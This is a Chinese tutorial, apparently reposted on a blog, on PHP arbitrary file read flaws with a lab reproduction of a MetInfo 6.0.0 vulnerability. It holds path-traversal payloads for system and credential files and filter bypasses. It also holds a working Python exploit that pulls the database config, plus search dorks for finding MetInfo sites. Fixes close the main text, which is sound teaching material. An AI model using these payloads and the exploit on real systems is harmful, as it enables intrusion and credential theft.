任意文件读取和漏洞复现

任意文件读取

1. 概述

一些网站的需求,可能会提供文件查看与下载的功能。如果对用户查看或下载的文件没有限制或者限制绕过,就可以查看或下载任意文件。这些文件可以是漂代码文件,配置文件,敏感文件等等。

  • 任意文件读取会造成(敏感)信息泄露:
  • 任意文件读取大多数情况是由于其他漏洞引发的,如RCE、目录遍历、文件包含等。
  • 任意文件读取与任意文件下载本质上没有区别,信总都是从服务瑞流向浏览器的。

任意文件读取与下载可能形式不同,但是从本质上讲读取与下载没有区别,从权限角度来讲,读取与下载都需要读权限。

1.1 漏洞成因

不管是任意文件读取还是任意文件下载,触发漏洞的条件都是相同的:

  • 存在读取文件的功能(函数),也就是说,Web 应用开放了文件读取功能;
  • 读取文件的路径客户端可控,完全控制或影响文件路径参数;
  • 没有对文件路径进行校验或者校验不严导致校验被绕过;
  • 输出了文件的内容。

1.2 漏洞危害

下载服务器任意文件,包括源代码文件、系统敏感文件、配置文件等等。

可以配合其他漏洞,构成完整攻击链。对源代码文件进行代码审计,查找更多的漏洞。任意文件读取与下载重点关注的文件:

  • 源代码
  • 配置文件
  • 敏感文件
  • 日志文件

1.3 漏洞分类

  • 任意文件读取
  • 任意文件下载

1.4 任意文件读取

1.4.1 文件读取

读取文件的函数函数特点
readfile()直接读取文件内容
自带输出功能
file_get_contents()直接读取文件内容
需要输出读取内容
fread()打开文件
计算文件大小
读取文件
输出文件
关闭文件

readfile:

// readfile.php$fp = "../phpinfo.php";	//路径,phpinfo.php文件的路径
readfile($fp);	//读取这个路径下的文件

在phpstudy根目录下新建read_file文件夹,在文件夹中新建file_read.php文件。

文件内容为上述代码内容,保存成功后访问此文件。

http://192.168.16.136/read_file/file_read.php

访问结果为空白页。查看代码,发现读取到$fp路径下文件的内容,但是没有执行。

image-20230831163606979

image-20230831163637557

file_get_contents:

// file_get_contents.php$fp = "../phpinfo.php"; 
echo file_get_contents($fp);

在read_file文件夹中新建file_get_contents.php文件。

文件内容为上述代码内容,保存成功后访问此文件。

http://192.168.16.136/read_file/file_get_contents.php

访问结果为空白页。查看代码,发现读取到$fp路径下文件的内容,但是没有执行。

image-20230831164156780

image-20230831164308299

fread:

// fread.php$fp = "../phpinfo.php";$f = fopen($fp,'r');	//读取文件前,先把$fp中保存的路径中的文件打开
$f_size = filesize($fp); 	//计算$fp这个路径下文件大小
echo fread($f, $f_size); 	//从打开的$f这个文件按照一定的大小去读
fclose($f);		//读取完成后,关闭文件,否则浪费资源

在read_file文件夹中新建fread.php文件。

文件内容为上述代码内容,保存成功后访问此文件。

http://192.168.16.136/read_file/fread.php

访问结果为空白页。查看代码,发现读取到$fp路径下文件的内容,但是没有执行。

image-20230831164616420

image-20230831164633193

1.4.2 任意文件读取

变量$fp,会捕获GET 方式传递过来的filepath 参数。

$fp = @$_GET['filepath'];
<?php 
//$fp = "../phpinfo.php";	//路径,phpinfo.php文件的路径
$fp = @$_GET['filepath'];	//通过filepath这个参数传递数据给$fp
readfile($fp);	//读取这个路径下的文件
?>

访问页面结果报错了,因为filepath参数为空,给filepath参数赋值filepath=…/phpinfo.php

image-20230831170044552

发开F12,点击load输入参数,viwe-source:表示其后所跟的url以代码的方式显现

view-source:http://192.168.16.136/read_file/file_read.php?filepath=../phpinfo.php

image-20230831170711430

filepath 客户端可控,并且没有经过校验,会造成任意文件读取漏洞。

?filepath=index.php ?filepath=/etc/passwd?filepath=c:\windows\system32\drivers\etc\hosts?filepath=c:\phpstudy_2016\apache\conf\httpd.conf ?filepath=c:\phpstudy_2016\mysql\my.ini?filepath=../../../../../../../../../../phpstudy_2016/www/phpinfo.php ?filePath=../../../../../../../../windows\system32\drivers\etc\hosts?filePath=../../../../../../etc/hosts

1.4.3 一般情况下权限

image-20230831094417949

Windows + IIS + ASP/ASPX 低权限

Windows + Apache +PHP 高权限

Windows + Java 绝对是高权限

Linux + Apache + PHP 低权限

Linux + Nginx + PHP 不一定(可能高可能低)

Linux + Java 绝对是高权限

1.5 任意文件下载

1.5.1 一般情况

直接下载:例如图片另存为。

a 标签下载:

<a href = './a.jpg'>IMG Download</a>

1.5.2 PHP实现

PHP 文件下载实现过程:

  • 先读取文件

  • 在输出文件

  • 提供下载

// file-download.php$fp = './a.jpg';
header('Content-Type:image/jpg');
header('Content-Disposition:attachment;fileName='.basename($fp)); 
readfile($fp);

1.5.3 任意文件下载

任意文件下载的条件:

  • 已知目标文件路径

  • 目标文件路径,客户端可控

  • 没有经过校验或校验不严格

$fp = $_GET['filepath'];

2. 任意文件读取攻防

2.1 路径过滤

2.1.1 过滤…/

$fp = @$_GET['filepath'];
$fp = str_replace("../","",$fp); 
readfile($fp);
<?php 
//$fp = "../phpinfo.php";	//路径,phpinfo.php文件的路径
$fp = @$_GET['filepath'];
$fp = str_replace("../","",$fp);    //将../替换为空
readfile($fp);	//读取这个路径下的文件
?>

访问

view-source:http://192.168.16.136/read_file/file_read.php?filepath=....//phpinfo.php

image-20230831171650209

结果报错了。

2.2 简单绕过

2.2.1 双写绕过

?filepath=..././..././..././..././..././windows\system32\drivers\etc\hosts

image-20230901104519401

2.2.2 绝对路径

?filepath=c:/windows\system32\drivers\etc\hosts

image-20230831172207321

2.2.3 使用…\

?filepath=..\..\..\..\..\windows\system32\drivers\etc\hosts

image-20230831172239733

2.2.4 设置白名单

假如设置了a.php,b.php,c.php三个文件

<?php 
//$fp = "../phpinfo.php";	//路径,phpinfo.php文件的路径
$fp = @$_GET['filepath'];
if($fp == 'a.php' or $fp == 'b.php' or $fp == 'c.php')
{readfile($fp);
}
else
{echo "Please stop!";
}
?>

image-20230831173046071

image-20230831173105886

3. 任意文件读取挖掘

3.1 手工挖掘

从文件名上看从参数名上看
readfile.php
filedownload.php
filelist.php
f=
file=
filepath=
fp=
readfile
path=
readpath
url=
menu=
META-INF=
WEB-INF=
content=

上述内容都可能存在任意文件读取

3.2 经典案例

metinfo_6.0.0_file-read

3.2.1 漏洞描述

MetInfo 是一套使用PHP 和MySQL 开发的内容管理系统。MetInfo 6.0.0 版本中的/app/system/include/module/old_thumb.class.php 文件存在任意文件读取漏洞。攻击者可利用漏洞读取网站上的敏感文件。

3.2.2 漏洞等级

高危

3.2.3 影响版本

  • MetInfo 6.0.0

3.2.4 漏洞复现

3.2.4.1 基础环境
组件版本
OSMicrosoft Windows Server 2016 Standard
Web ServerphpStudy 2016
MetInfo6.0.0

image-20230831114004784

3.2.4.2 漏洞点

访问此链接

/include/thumb.php
http://192.168.16.136/metinfo_6.0.0/include/thumb.php

image-20230831191806471

使用bp进行抓包,因为bp默认是不抓图片的,修改Filter添加images。

image-20230831114253372

Ctrl+R将数据包发送至重发器。

image-20230831114626068

第一次测试

/include/thumb.php?dir=..././http/..././config/config_db.php

读取数据库配置文件。

image-20230831115420766

读取失败。

第二次测试

/include/thumb.php?dir=.....///http/.....///config/config_db.php

读取数据库配置文件。

image-20230831115712398

读取失败

第三次测试

/include/thumb.php?dir=http/.....///.....///config/config_db.php

读取数据库配置文件。

image-20230831115759567

读取失败

第四次测试

/include/thumb.php?dir=http\..\..\config\config_db.php

读取数据库配置文件。

image-20230831115829577

读取成功

注意:

此poc仅适用于Windows系统,Linux系统无效

3.2.4.3 深度利用

EXP 编写

import requests
import sysbanner = """
MetInfo 6.0.0___________.__.__           __________                   .___\_   _____/|__|  |   ____   \______   \ ____ _____     __| _/|    __)  |  |  | _/ __ \   |       _// __ \\__  \   / __ | |     \   |  |  |_\  ___/   |    |   \  ___/ / __ \_/ /_/ | \___  /   |__|____/\___  >  |____|_  /\___  >____  /\____ | \/                 \/          \/     \/     \/      \/ - AJEST
Usage: python3 *.py http://192.168.16.136/metinfo_6.0.0
"""headers = {"User-Agent":   "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"
}dir_list = ["..././http/..././config/config_db.php",".....///http/.....///config/config_db.php","http/.....///.....///config/config_db.php","http\..\..\config\config_db.php"
]def attack(host):vul = "/include/thumb.php"url = host + vulres = requests.get(url = url, headers = headers)if res.status_code != 200:print(f"[INFO] {vul} is Not Exists!")exit()print(f"[INFO] {vul} is Exists!")for param in dir_list:params = {"dir":  param }res = requests.get(url = url, params = params, headers = headers)print(f"[INFO] Test URL: {res.url}")if "<?php" in res.text:print("[RESULT] The target is vulnreable!")print(f"[RESULT]\n{res.text}")breakif len(sys.argv) < 2:print(banner)exit()host = sys.argv[1]attack(host = host)

在kali中新建exp.py文件,将上述内容复制到exp.py文件中,在cms未退出的情况下运行exp.py文件。

sudo python3 *.py http://192.168.16.136/metinfo_6.0.0/

image-20230831191420228

3.2.4.4 指纹信息

传统搜索引擎

Powered by MetInfo 6.0.0
intext:"Powered by MetInfo 6.0.0" inurl:"tw"

FOFA

app="metinfo"

ZoomEye

app:"MetInfo"
app:"MetInfo"+os:"Windows"
3.2.4.5 修补建议
  • 打补丁
  • 升级
  • 上设备

4. 漏洞修复方案

4.1 输入输出

让web 用户只能访问(读取),所需要的文件和路径。(白名单)

4.2 避免其他漏洞

其他漏洞可能会引发任意文件读取漏洞

不能有文件包含漏洞,目录遍历漏洞或其他漏洞。

4.3 限定文件的访问范围

  • 让用户不能访问Web 根目录以外的路径。

  • php.ini 配置文件中,可以通过选项open_basedir 来限定文件访问的范围

open_basedir = C:\phpStudy_20161103\WWW

php在执行任意文件读取的时候,限定访问范围发生在c盘下。

临时改变php.ini配置

ini_set("open_basedir","C:\phpStudy_20161103\WWW");

image-20230831174855170

但是还是存在风险,其他文件都不成,但能读取自己。那么配置的所有信息就会暴露出来。

image-20230831175951627

所以过滤,白名单和限定文件的防范要综合使用。

5. 参考链接

https://github.com/lijiejie/ds_store_exp https://blog.csdn.net/GitChat/article/details/79014538 https://www.secpulse.com/archives/124398.html https://github.com/kost/dvcs-ripper https://github.com/lijiejie/GitHack http://www.vuln.cn/2225 https://github.com/admintony/svnExploit https://www.freebuf.com/vuls/181698.html 

临时改变php.ini配置

ini_set("open_basedir","C:\phpStudy_20161103\WWW");

在这里插入图片描述

但是还是存在风险,其他文件都不成,但能读取自己。那么配置的所有信息就会暴露出来。

在这里插入图片描述

所以过滤,白名单和限定文件的防范要综合使用。

5. 参考链接

https://github.com/lijiejie/ds_store_exp https://blog.csdn.net/GitChat/article/details/79014538 https://www.secpulse.com/archives/124398.html https://github.com/kost/dvcs-ripper https://github.com/lijiejie/GitHack http://www.vuln.cn/2225 https://github.com/admintony/svnExploit https://www.freebuf.com/vuls/181698.html 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/66381.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

EasyExcel读模板生成excel文件注解Bean生成文件

文章目录 1、EasyExce依赖准备2、通过注解Bean的方式生成Excel2.1、注解Bean准备2.2、封装数据&#xff0c;生成Excel&#xff08;只需要几行代码&#xff09;2.3、生成结果展示 3、通过Excel模板生成数据3.1、准备编写Excel模板3.2、封装数据&#xff0c;生成excel3.3、模板导…

stm32之28.ADC

须看原理图&#xff08;引脚、电压值、ADC几号通道&#xff09;配置 。 若对比值0~4096 模拟电压/参考电压4096/x 假设模拟电压2.1V&#xff0c;参考电压3.3v&#xff0c;4096/x3.3/2.1 ->3.3x2.1x4096 ->x2,606.5 也可反推出模拟电压 ADC转换时间 ADC时钟来源于…

JavaScript -【第二周】

文章来源于网上收集和自己原创&#xff0c;若侵害到您的权利&#xff0c;请您及时联系并删除~~~ 理解什么是流程控制&#xff0c;知道条件控制的种类并掌握其对应的语法规则&#xff0c;具备利用循环编写简易ATM取款机程序能力 运算符语句综合案例 1. 运算符 算术运算符赋值运…

SAP_ABAP_接口技术_RFC远程函数实践总结

SAP ABAP顾问能力模型梳理_企业数字化建设者的博客-CSDN博客SAP Abap顾问能力模型&#xff0c;ALV/REPORT|SMARTFROM|SCREEN|OLE|BAPI|BDC|PI|IDOC|RFC|API|WEBSERVICE|Enhancement|UserExits|Badi|Debughttps://blog.csdn.net/java_zhong1990/article/details/132469977 SAP接…

docker安装jenkins

运行jenkins docker run -d \--name jenkins \ --hostname jenkins \-u root \-p 29090:8080 \--restart always \-v D:\springcloud\学习\jekins\jenkins\jks_home:/var/jenkins_home \ jenkins/jenkins获取root登录密码 密码在jekins_home/secrets/initalAdminPassword文件…

设计模式-观察者模式

文章目录 一、前言二、观察者模式1、基本概念2、应用举例3、结构3.1、Observer和ConcreteObserver3.2、Subject和ConcreteSubject 4、代码展示4.1、主题接口 WeatherData 和观察者接口 Observer4.2、具体主题 WeatherStation&#xff0c;它实现了 WeatherData 接口&#xff1a;…

【Spring+SpringMVC+Mybatis】SSM框架的整合、思想、工作原理和优缺点的略微讲解

&#x1f680;欢迎来到本文&#x1f680; &#x1f349;个人简介&#xff1a;陈童学哦&#xff0c;目前学习C/C、算法、Python、Java等方向&#xff0c;一个正在慢慢前行的普通人。 &#x1f3c0;系列专栏&#xff1a;陈童学的日记 &#x1f4a1;其他专栏&#xff1a;CSTL&…

软件产品鉴定测试

1. 服务流程 2. 服务内容 该项测试从技术和应用的角度对商用软件产品的质量特性进行全面地、系统地测试和评估&#xff0c;测试内容涵盖了功能性测试、性能测试、可靠性测试、易用性测试、维护性测试及可移植性测试。 3. 周期 7-15个工作日 4. 报告用途 可作为进行省级、国…

苹果启动2024年SRDP计划:邀请安全专家使用定制iPhone寻找漏洞

苹果公司昨天&#xff08;8月30日&#xff09;正式宣布开始接受2024 年iPhone安全研究设备计划的申请&#xff0c;iOS 安全研究人员可以在 10 月底之前申请安全研究设备 SRD。 SRD设备是专门向安全研究人员提供的iPhone14Pro&#xff0c;该设备具有专为安全研究而设计的特殊硬…

leetcode622-设计循环队列

本题重点&#xff1a; 1. 选择合适的数据结构 2. 针对选择的数据结构判断“空”和“满” 这两点是不分先后次序的&#xff0c;在思考时应该被综合起来。事实上&#xff0c;无论我们选择链表还是数组&#xff0c;最终都能实现题中描述的“循环队列”的功能&#xff0c;只不过…

vscode远程调试php

使用vscode远程调试php的方法 1.安装remote ssh插件 2.连接服务器 可以点击左下角的绿色按钮&#xff0c;或者ctrlshiftp打开命令框输入remote ssh应该也有。 3.在服务器端vscode安装php debug插件 4.安装xdebug xdebug是用来调试php的软件&#xff0c;原本和vscode没什么关…

iBooker 技术评论 20230831

一、轻资产项目的五类分类 轻资产项目不需要投资&#xff0c;但也不是所有人都做得了&#xff0c;取决于个人认知和能力水平限制。 就好比以前的各科题目&#xff0c;你也不是都能做吧&#xff1f; 我以前刷题的时候&#xff0c;喜欢把题目按照难易程度分五类。现在做项目和…

人工智能研究的未来:20 年机器学习和深度学习的论文创意!

“机器学习的美妙之处在于&#xff0c;它可以应用于你想要解决的任何问题&#xff0c;只要你能为计算机提供足够的例子。” 一、说明 该文章列出了 20 年机器学习和深度学习本科课程的 2023 个潜在论文想法。每个论文的想法都包括一个介绍&#xff0c;简要概述了主题和研究目标…

明厨亮灶监控实施方案 opencv

明厨亮灶监控实施方案通过pythonopencv网络模型图像识别算法&#xff0c;一旦发现现场人员没有正确佩戴厨师帽或厨师服&#xff0c;及时发现明火离岗、不戴口罩、厨房抽烟、老鼠出没以及陌生人进入后厨等问题生成告警信息并进行提示。OpenCV是一个基于Apache2.0许可&#xff08…

【Ubuntu】解决ubuntu虚拟机和物理机之间复制粘贴问题(无需桌面工具)

解决Ubuntu虚拟机和物理机之间复制粘贴问题 第一步 先删除原来的vmware tools&#xff08;如果有的话&#xff09; sudo apt-get autoremove open-vm-tools第二步 安装软件包&#xff0c;一般都是用的desktop版本&#xff08;如果是server换一下&#xff09; sudo apt-get …

计算机视觉的应用12-卷积神经网络中图像特征提取的可视化研究,让大家理解特征提取的全过程

大家好&#xff0c;我是微学AI&#xff0c;今天给大家介绍一下计算机视觉的应用12-卷积神经网络中图像特征提取的可视化研究&#xff0c;让大家理解特征提取的全过程。 要理解卷积神经网络中图像特征提取的全过程&#xff0c;我们可以将其比喻为人脑对视觉信息的处理过程。就像…

FC-CLIP-卷积永存:开放词汇分割与单一冻结卷积CLIP

论文链接&#xff1a;https://arxiv.org/abs/2308.02487 Github&#xff1a;GitHub - bytedance/fc-clip: This repo contains the code for our paper Convolutions Die Hard: Open-Vocabulary Segmentation with Single Frozen Convolutional CLIP 机构&#xff1a;约翰霍普…

基于Java的OA办公管理系统,Spring Boot框架,vue技术,mysql数据库,前台+后台,完美运行,有一万一千字论文。

基于Java的OA办公管理系统&#xff0c;Spring Boot框架&#xff0c;vue技术&#xff0c;mysql数据库&#xff0c;前台后台&#xff0c;完美运行&#xff0c;有一万一千字论文。 系统中的功能模块主要是实现管理员和员工的管理&#xff1b; 管理员&#xff1a;个人中心、普通员工…

C++中的语法知识虚继承和虚基类

多继承(Multiple Inheritance)是指从多个直接基类中产生派生类的能力,多继承的派生类继承了所有父类的成员。尽管概念上非常简单,但是多个基类的相互交织可能会带来错综复杂的设计问题,命名冲突就是不可回避的一个。 多继承时很容易产生命名冲突,即使我们很小心地将所有类…

PQUEUE - Printer Queue

题目描述 The only printer in the computer science students union is experiencing an extremely heavy workload. Sometimes there are a hundred jobs in the printer queue and you may have to wait for hours to get a single page of output. Because some jobs are …